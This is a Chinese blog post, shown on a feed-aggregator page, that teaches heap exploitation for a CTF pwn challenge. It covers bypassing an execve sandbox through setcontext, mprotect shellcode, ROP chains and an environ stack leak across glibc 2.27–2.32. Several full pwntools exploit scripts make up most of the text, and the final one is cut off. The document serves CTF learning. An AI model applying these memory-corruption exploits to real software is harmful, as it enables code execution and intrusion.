惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

T
The Exploit Database - CXSecurity.com
S
Schneier on Security
Google Online Security Blog
Google Online Security Blog
The Hacker News
The Hacker News
T
Threatpost
C
CERT Recently Published Vulnerability Notes
Help Net Security
Help Net Security
D
Darknet – Hacking Tools, Hacker News & Cyber Security
The Last Watchdog
The Last Watchdog
AI
AI
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
Cyberwarzone
Cyberwarzone
T
Threat Research - Cisco Blogs
G
GRAHAM CLULEY
L
LINUX DO - 热门话题
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
Spread Privacy
Spread Privacy
Scott Helme
Scott Helme
阮一峰的网络日志
阮一峰的网络日志
V
V2EX
Know Your Adversary
Know Your Adversary
WordPress大学
WordPress大学
AWS News Blog
AWS News Blog
T
Troy Hunt's Blog
Microsoft Azure Blog
Microsoft Azure Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Hacker News: Ask HN
Hacker News: Ask HN
小众软件
小众软件
Cisco Talos Blog
Cisco Talos Blog
有赞技术团队
有赞技术团队
H
Heimdal Security Blog
U
Unit 42
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
大猫的无限游戏
大猫的无限游戏
F
Fortinet All Blogs
C
CXSECURITY Database RSS Feed - CXSecurity.com
S
SegmentFault 最新的问题
Forbes - Security
Forbes - Security
Security Latest
Security Latest
腾讯CDC
Security Archives - TechRepublic
Security Archives - TechRepublic
I
Intezer
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
P
Proofpoint News Feed
A
Arctic Wolf
L
LINUX DO - 最新话题
Engineering at Meta
Engineering at Meta
C
Cisco Blogs
Recent Announcements
Recent Announcements

博客园_首页

Plist 二进制格式 Milvus 和 PGVector,哪个更好? OpenClaw 已过时?在 VS Code 中运行 Hermes Agent! 分享一下笔者的 Mac 装机必备软件 第30篇文章:一个大三计科生的自白 Manim如何在数学公式中完美显示中文? Docker 部署 RocketMQ 5 并发编程核心概念辨析 C#事务处理最佳实践:别再让“主表存了、明细丢了”的破事发生 CLI 是什么?为什么大厂突然集体卷命令行? 【从0到1构建一个ClaudeAgent】协作-自主Agent UIImageView 设置图片不生效的原因排查 最小二乘问题详解20:无先验约束下的增量式SFM自由网平差 痞子衡嵌入式:大话双核i.MXRT1180之XIP应用里借助MU实现可靠Flash IAP的方法 AI Chat 封装, SemanticKerne.AiProvider.Unified 已发布 Windows下右键编辑js文件无法打开记事本——在注册表中使用环境变量 在后台服务中使用 Scoped 服务,为什么总是报错? H200 安装驱动并使用sglang启动模型 wireshark 抓包Trap上报告警内容 我用 AI 辅助开发了一系列小工具(2):图片压缩工具 [A Primer On MC and CC] 2.1 Memory Consistency 1 - 指令重排序和 SC 模型 Oracle数据库SCN推进技术详解与实践指南 玩转控件:封装个带图片的Label控件 Claude Code 4.7 真正该升级的不是模型,而是你的工作流 前端小白一句话,AI 帮我做了个颜值拉满的桌面媒体播放器。当代码不再是门槛,一句话编程就是现实。 5. WorkBuddy: 小龙虾的灵魂三件套,让你的小龙虾不只是工具 SQLite 分片方案实战:三种分片策略的深度对比 告别简陋 UI!一款基于 Fluent Design 和基于 WinUI 的开源免费、现代化的 Avalonia UI 控件库 关于二进制排列组合枚举的总结 AI开发-python-LangGraph框架(3-27-LangGraph从零实现大模型智能决策工作流) ElasticSearch主分片和副本分片概念详解 【002】HTTPS 粗解:证书、TLS 握手与对后端配置的影响 Hermes Agent 一周暴涨五万 Star,但我劝你别急着追 明明连接的是Redis的DB0,为什么能查到DB3的数据? 【从0到1构建一个ClaudeAgent】协作-Agent团队 熟悉电子元器件之后,电子小白下一步该怎么走? MAF快速入门(23)通过C#类定义Skills .NET 高级开发 | 手写一个对象映射框架 FastAPI数据库ORM怎么选?我肝了三个Demo后,终于不再纠结了 mysqldump 参数拾遗:在遗忘与铭记之间 C# .NET 周刊|2026年3月5期 Claude code入门 - 陈彦斌 一文学习入门 ThingsBoard 开源物联网平台 GitHub 热门项目 | 2026年04月16日 如何为GIT设置全局勾子,为每次提交追加信息 Number.isFinite和isFinite与isNaN()和Number.isNaN的区别 PortSwigger SQL注入LAB2 推荐一个测试人必备的Skills,从功能到性能全搞定(附详细实操和安装下载方式) 筑基期:掌握Odoo基础核心知识点02(Odoo XML 开发方式详解) GLM模型这么火,咱们用vllm也咧一个呗! 深入理解 AbortController:从底层原理到跨语言设计哲学 字符串学习笔记 多租户系统框架的基础模块设计和分析设计 Apache SeaTunnel Zeta 为什么能做到“又快又稳”? AI开发-python-LangGraph框架(3-26-LangGraph基本概念及第一个简单样例) Vue 3 组件通信,别只会用 Props 和 Emits 了,这几个狠活儿你得看看 ElasticSearch7.X版本配置密码 用Manim实现动态交点计算--从一个动点问题说起 团结引擎+Addressable+Instant Game打包抖音小游戏 function call 实战:让 LLM 自动判断 pod 异常、调用日志工具并完成故障分析 bubseek —— 让 Agent 的足迹,变成团队的洞察 通过 C# 读取并导出 PDF 书签 如何用 GitHub Actions 实现 Steam 自动化发布 【从0到1构建一个ClaudeAgent】并发-后台任务 .NET 高级开发 | 定制 ASP.NET Core 框架 电子小白:什么是运算放大器(运放) zero2Agent:面向大厂面试的 Agent 工程教程,从概念到生产的完整学习路线 HC32F460 USB CDC通信异常:非对齐访问异常排查 20260413-Hyperbridge 攻击事件:发生在默克尔山上的验证绕过 那些喊着AI 要淘汰你的人,正在靠你的焦虑赚大钱! 深度学习进阶(八)Swin Transformer 最小二乘问题详解19:带先验约束的增量式SFM优化与实现 SnapTranslate 3.0 正式发布:全局划词翻译 + 完整英语学习闭环,一站式搞定查词、记词、复习 工作的意义、工作的困难认知再思考 .NET + AI 进阶实战:基于类的技能开发 - 打造可治理的 Agent 能力模块 【从0到1构建一个ClaudeAgent】规划与协调-技能 上周热点回顾(4.6-4.12) 电子小白的工具三件套:面包板、杜邦线、万能板 单表五亿数据的查询优化 | Mysql、StarRocks 2. WorkBuddy:从“我是谁”到“帮我干活” C# 如何减少代码运行时间:7 个实战技巧 基于HelixToolkit.SharpDX 渲染3D模型 - 笺上知微 从零开始的双臂具身VLA起源及现阶段发展综述 - SkyXZ 记对 xonsh shell 的使用, 脚本编写, 迁移及调优 - pluvium27 受够了Vibe Coding的失控?换个起点,让AI事半功倍 从开始配置漏洞环境到漏洞复现流程 - 難しい 关于10年工作经验的程序员对OpenClaw的实战经验分享以及看法 - 虚无境 Any metadata 的内存布局 C# .NET 周刊|2026年3月2期 - InCerry 我帮你测过了,测试圈排名第二的 Skill 依然很牛逼 Skill Discovery | 无监督技能发现的经典工作总结 - MoonOut 上下文工程是什么?过时了么?一文讲明白! - 一枫说码 开了 TUN 模式还是直连?90% 的人都踩过这个坑 AScript扩展多种脚本语言 - rockey627 AI 学习笔记:Agent 的记忆机制 你能被装进一个文件里吗?——7 万人把同事"蒸馏"成了 AI - 我没有三颗心脏 Claude Code 通关手册(七):给 AI 装上技能包——Skills 完全指南 - 暮色之狐 在浏览器中快速编辑代码:VSCode Web 集成实践 - Newbe36524 蒸馏自己 skill?基于 Deepseek 的蒸馏器,丐版蒸馏方式,简单便捷 - To_Carpe_Diem Spring AI Aliababa和AgentScope,哪个更好? - 苏三说技术
堆上的ORW
2026-04-15 · via 博客园_首页

学到现在,不管是什么手段,在获得了任意地址写之后,不管是劫持hook(2.34之后就没有了),还是利用IO,我们的目标到现在仅仅只是调用system来getshell,那如果题目开沙箱禁掉execve呢,那我们应该怎么办?办法还是挺多的,我目的知道的有三种,第一种是利用enviro环境变量泄露栈地址然后往栈上写值,然后在栈/堆上放rop链,第二种就是用setcontext这个函数,利用mprotect修改堆块为可执行然后布置好shellcode,第三种就是利用IO流(这个就在IO利用手法里讲了)。

利用setcontext

我们可以看看这个函数的汇编,这个是libc2.27版本下的代码

.text:0000000000052050 setcontext      proc near               ; CODE XREF: sub_58680+C↓p
.text:0000000000052050                                         ; DATA XREF: LOAD:0000000000009058↑o
.text:0000000000052050 ; __unwind {
.text:0000000000052050                 push    rdi
.text:0000000000052051                 lea     rsi, [rdi+128h] ; nset
.text:0000000000052058                 xor     edx, edx        ; oset
.text:000000000005205A                 mov     edi, 2          ; how
.text:000000000005205F                 mov     r10d, 8         ; sigsetsize
.text:0000000000052065                 mov     eax, 0Eh
.text:000000000005206A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:000000000005206C                 pop     rdi
.text:000000000005206D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000052073                 jnb     short loc_520D0
.text:0000000000052075                 mov     rcx, [rdi+0E0h]
.text:000000000005207C                 fldenv  byte ptr [rcx]
.text:000000000005207E                 ldmxcsr dword ptr [rdi+1C0h]
.text:0000000000052085                 mov     rsp, [rdi+0A0h]
.text:000000000005208C                 mov     rbx, [rdi+80h]
.text:0000000000052093                 mov     rbp, [rdi+78h]
.text:0000000000052097                 mov     r12, [rdi+48h]
.text:000000000005209B                 mov     r13, [rdi+50h]
.text:000000000005209F                 mov     r14, [rdi+58h]
.text:00000000000520A3                 mov     r15, [rdi+60h]
.text:00000000000520A7                 mov     rcx, [rdi+0A8h]
.text:00000000000520AE                 push    rcx
.text:00000000000520AF                 mov     rsi, [rdi+70h]
.text:00000000000520B3                 mov     rdx, [rdi+88h]
.text:00000000000520BA                 mov     rcx, [rdi+98h]
.text:00000000000520C1                 mov     r8, [rdi+28h]
.text:00000000000520C5                 mov     r9, [rdi+30h]
.text:00000000000520C9                 mov     rdi, [rdi+68h]
.text:00000000000520C9 ; } // starts at 52050
.text:00000000000520CD ; __unwind {
.text:00000000000520CD                 xor     eax, eax
.text:00000000000520CF                 retn

可以看见在0x52085的地址里的汇编代码是一堆mov,mov还是以rdi为基址,也就是我们只要控制了rdi,即可相当于控制所有寄存器,而且这个各寄存器的偏移,其实跟srop的偏移是一样的

1

从这个图可以看出,srop的rsp也是syscall的地址+0xa0,rdi同理,是syscall的地址+0x68,rip是syscall的地址+0xa8,这里虽然setcontext没有直接给rip赋值,但这个值他赋给了rcx,然后push rcx,并在最后有一个ret,其实跟赋值给rip区别不大。也就是说我们可以利用pwntools的SigreturnFrame()来利用setcontext函数控制各寄存器,当然也可以直接手搓。

那么关键就是要控制rdi,怎么让rdi指向的内存的值是我们可控的地址呢?在堆题里答案很简单,就是rdi要是一个堆块,什么情况下rdi是个堆地址呢?答案很简单,就是我们free的时候,rdi就是堆块地址,通过劫持freehook函数把他设为setcontext即可,接下来就是各寄存器怎么取值了,因为setcontext我们可以设置rip,这里我们可以让rip设置成mprotect,并设置好各个参数,让堆块可读可写可执行,然后在mprotect调用完后的ret给他放上我们写好shellcode的堆地址。即可跳转过去执行ORW了,并且这里因为可以直接写汇编,各种ORW都是可以用的。也可以不写汇编,直接写rop链,这就要我们控好rsp了。

下面我们还是看看题,可以在这里下PolarD&N

polarctf-unk

这题有uaf,有堆溢出,不过这题远程是2.23,要打远程的orw话可以unlink去劫持freehook,我就不演示了。
19{IWSK68M~ON2QJ@9{H7

2.27下的利用

这里我的版本是2.27-3ubuntu1.5,先patchelf一下。因为2.27有tcache,比较好利用一点,思路就是先泄露出堆地址,libc基地址,打tcache attack劫持freehook为setcontext,然后就是控制各寄存器,控制rsp实现栈迁移,控制rip执行mprotect,执行完mprotect之后的ret正好跳转到我们布局好shellcode的堆块。

用setcontext写shellcode的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x3ebca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
free(1)
free(2)
edit(2,0x8,p64(fh))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(se)+p64(0)+p64(heap+0x4b0))
ph(heap)
srop = SigreturnFrame()
srop.rsp = libcbase+libc.sym['__free_hook'] + 0x10
srop.rdi = heap-0x200
srop.rsi = 0x1000
srop.rdx = 7
srop.rip = libcbase+libc.sym['mprotect']
pay=bytes(srop)
edit(0,0x200,pay)
add(7,0x500)
pay=asm(shellcraft.open('./flag',0))+asm(shellcraft.read(3,heap-0x200,0x50))+asm(shellcraft.write(1,heap-0x200,0x50))
edit(7,0x500,pay)
ph(se)
free(0)
ti()

打ROP链也一样,当然这个也可以用ROP链先调用mprotect然后再跳转到汇编。这里可以直接在setcontext里调用一个热爱的,往rsp上面写rop链,可以不用布置,当然也可以打srop,这里因为版本是2.27就直接打ret2syscall了

用setcontext写rop链的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x3ebca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
free(1)
free(2)
edit(2,0x8,p64(fh))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(se)+p64(0)+p64(heap+0x4b0))
ph(heap)
rax=libcbase+0x1b500
rdi=libcbase+0x2164f
rsi=libcbase+0x23a6a
rdx=libcbase+0x1b96
end=libcbase+0xd2625
srop = SigreturnFrame()
srop.rsp = heap-0x200+8
srop.rdi = 0
srop.rsi = heap-0x200
srop.rdx = 0x1000
srop.rip = libcbase+libc.sym['read']
pay=bytes(srop)
edit(0,0x200,pay)
pay=b'./flag\x00\x00'+flat(rax,2,rdi,heap-0x200,rsi,0,end,rax,0,rdi,3,rsi,heap+0x300,rdx,0x100,end,rax,1,rdi,1,rsi,heap+0x300,rdx,0x100,end)
ph(se)
free(0)
sd(pay)
ti()

当然我们也可以往栈上写,我们现在的办法还是比较依赖hook函数的,往栈上写就不依赖了。这里思路就是利用tcache attack在环境变量那里申请一个堆块,而环境变量会指向栈上一个固定地址,我们算出来其距返回地址的偏移之后再打一次tcache attack申请到栈上的返回地址写rop链即可。

栈上打rop的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x3ebca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
st=libcbase+libc.sym['environ']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
add(3,0x80)
free(1)
free(2)
edit(2,8,p64(st))
add(1,0x80)
add(2,0x80)
show(2)
stack=u6(6)-0x100
ph(stack)
free(3)
free(1)
edit(1,8,p64(stack))
add(1,0x80)
add(2,0x80)
rax=libcbase+0x1b500
rdi=libcbase+0x2164f
rsi=libcbase+0x23a6a
rdx=libcbase+0x1b96
end=libcbase+0xd2625
pay=flat(rax,2,rdi,stack+0xc8,rsi,0,end,rax,0,rdi,3,rsi,stack+0xc8,rdx,0x100,end,rax,1,rdi,1,rsi,stack+0xc8,rdx,0x100,end)+b'./flag\x00\x00'
ph(stack)
edit(2,0x100,pay)
ti()

2.29以上的利用

在2.29,我们的setcontext函数出现了变化

text:0000000000055E00 setcontext      proc near               ; CODE XREF: sub_5C160+C↓p
.text:0000000000055E00                                         ; DATA XREF: LOAD:000000000000C6D8↑o
.text:0000000000055E00 ; __unwind {
.text:0000000000055E00                 push    rdi
.text:0000000000055E01                 lea     rsi, [rdi+128h] ; nset
.text:0000000000055E08                 xor     edx, edx        ; oset
.text:0000000000055E0A                 mov     edi, 2          ; how
.text:0000000000055E0F                 mov     r10d, 8         ; sigsetsize
.text:0000000000055E15                 mov     eax, 0Eh
.text:0000000000055E1A                 syscall                 ; LINUX - sys_rt_sigprocmask
.text:0000000000055E1C                 pop     rdx
.text:0000000000055E1D                 cmp     rax, 0FFFFFFFFFFFFF001h
.text:0000000000055E23                 jnb     short loc_55E80
.text:0000000000055E25                 mov     rcx, [rdx+0E0h]
.text:0000000000055E2C                 fldenv  byte ptr [rcx]
.text:0000000000055E2E                 ldmxcsr dword ptr [rdx+1C0h]
.text:0000000000055E35                 mov     rsp, [rdx+0A0h]
.text:0000000000055E3C                 mov     rbx, [rdx+80h]
.text:0000000000055E43                 mov     rbp, [rdx+78h]
.text:0000000000055E47                 mov     r12, [rdx+48h]
.text:0000000000055E4B                 mov     r13, [rdx+50h]
.text:0000000000055E4F                 mov     r14, [rdx+58h]
.text:0000000000055E53                 mov     r15, [rdx+60h]
.text:0000000000055E57                 mov     rcx, [rdx+0A8h]
.text:0000000000055E5E                 push    rcx
.text:0000000000055E5F                 mov     rsi, [rdx+70h]
.text:0000000000055E63                 mov     rdi, [rdx+68h]
.text:0000000000055E67                 mov     rcx, [rdx+98h]
.text:0000000000055E6E                 mov     r8, [rdx+28h]
.text:0000000000055E72                 mov     r9, [rdx+30h]
.text:0000000000055E76                 mov     rdx, [rdx+88h]
.text:0000000000055E76 ; } // starts at 55E00
.text:0000000000055E7D ; __unwind {
.text:0000000000055E7D                 xor     eax, eax
.text:0000000000055E7F                 retn

可以看到这个参数从rdi变成了rdx,这也就要求我们要控制rdx了,那么我们怎么办呢,有哪个函数的rdx会指向我们可控的内存区域呢?其实并没有,但有一个magic gadget,当然这个也有变体,用ROPgadget或者ropper找一下就好

0x0000000000150550 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]

这里可以看见,我们rdx是rdi+8这个地址内的值,然后会call rdx+0x20,也就是call rdi+0x28,也就是我们不能像之前一样,直接用SigreturnFrame()来构造了,需要[0x28:],不过也影响不大,我们关键的寄存器都在这之后。我们把rdi设置成我们堆块的结构,然后rdi+0x28设置成setcontext即可。而往栈上写rop链是没什么区别的,区别可能也就是2.32后tache加了safe linking,主要的利用思路没什么区别。

栈上写rop链的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x1e4ca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
st=libcbase+libc.sym['environ']
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
add(3,0x80)
free(1)
free(2)
edit(2,8,p64(st))
add(1,0x80)
add(2,0x80)
show(2)
stack=u6(6)-0x100
ph(stack)
free(3)
free(1)
edit(1,8,p64(stack))
add(1,0x80)
add(2,0x80)
rax=libcbase+0x47cf8
rdi=libcbase+0x26542
rsi=libcbase+0x26f9e
rdx=libcbase+0x12bda6
end=libcbase+0xcf6c5
pay=flat(rax,2,rdi,stack+0xc8,rsi,0,end,rax,0,rdi,3,rsi,stack+0xc8,rdx,0x100,end,rax,1,rdi,1,rsi,stack+0xc8,rdx,0x100,end)+b'./flag\x00\x00'
ph(stack)
edit(2,0x100,pay)
ti()

重要的还是用setcontext的办法,大体思路就是把freehook改成magic gadget,然后把rdi+8的位置放上布局有各寄存器值的内存地址,然后把rdi+0x20的地址换成setcontext就可以控制各寄存器,之后的操作是一样的

2.29用setcontext写shellcode的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
    ru(b"choice:")
    sdr(2)
    ru(b"index:")
    sdr(s)
def edit(s,a,d):
    ru(b"choice:")
    sdr(3)
    ru(b"index:")
    sdr(s)
    ru(b"length:")
    sdr(a)
    ru(b"content:")
    sd(d)
def show(s):
    ru(b"choice:")
    sdr(4)
    ru(b"index:\n")
    sdr(s)
tar=0x6010C0
add(0,0x420)
add(1,0x10)
free(0)
show(0)
libcbase=u6(6)-0x1e4ca0
se=libcbase+libc.sym['setcontext']+53
fh=libcbase+libc.sym['__free_hook']
magic=libcbase+0x150550
ph(libcbase)
add(0,0x20)
edit(0,0x11,b'b'*0x11)
show(0)
ru(b'b'*0x10)
heap=u6(4)-0x62
add(1,0x80)
add(2,0x80)
free(1)
free(2)
edit(2,0x8,p64(fh))
add(3,0x80)
add(4,0x80)
edit(4,0x18,p64(magic)+p64(0)+p64(heap+0x4b0))
srop = SigreturnFrame()
srop.rsp = libcbase+libc.sym['__free_hook'] + 0x10
srop.rdi = heap-0x200
srop.rsi = 0x1000
srop.rdx = 7
srop.rip = libcbase+libc.sym['mprotect']
pay=flat({
0x0:0,
0x8:heap+0x60,
0x20:se},filler=b'\x00')+bytes(srop)[0x28:]
edit(0,0x200,pay)
ph(heap)
add(7,0x500)
pay=asm(shellcraft.open('./flag',0))+asm(shellcraft.read(3,heap-0x200,0x50))+asm(shellcraft.write(1,heap-0x200,0x50))
edit(7,0x500,pay)
ph(magic)
ph(se)
free(0)
ti()

写rop链也是一样就不演示了,接下来我们看2.32的,我的版本是2.32-0ubuntu3,首先是多了safelinking,还有就是setcontext的偏移不是53了而是61,在gdb里算一下就好。

2.32用setcontext写shellcode的exp如下:
#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
from pwncli import *
# cli_script()
#from ae64 import AE64
#from pymao import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s))
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    # context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def add(s,a):
    ru(b"choice:")
    sdr(1)
    ru(b"index:")
    sdr(s)
    ru(b"size:")
    sdr(a)
def free(s):
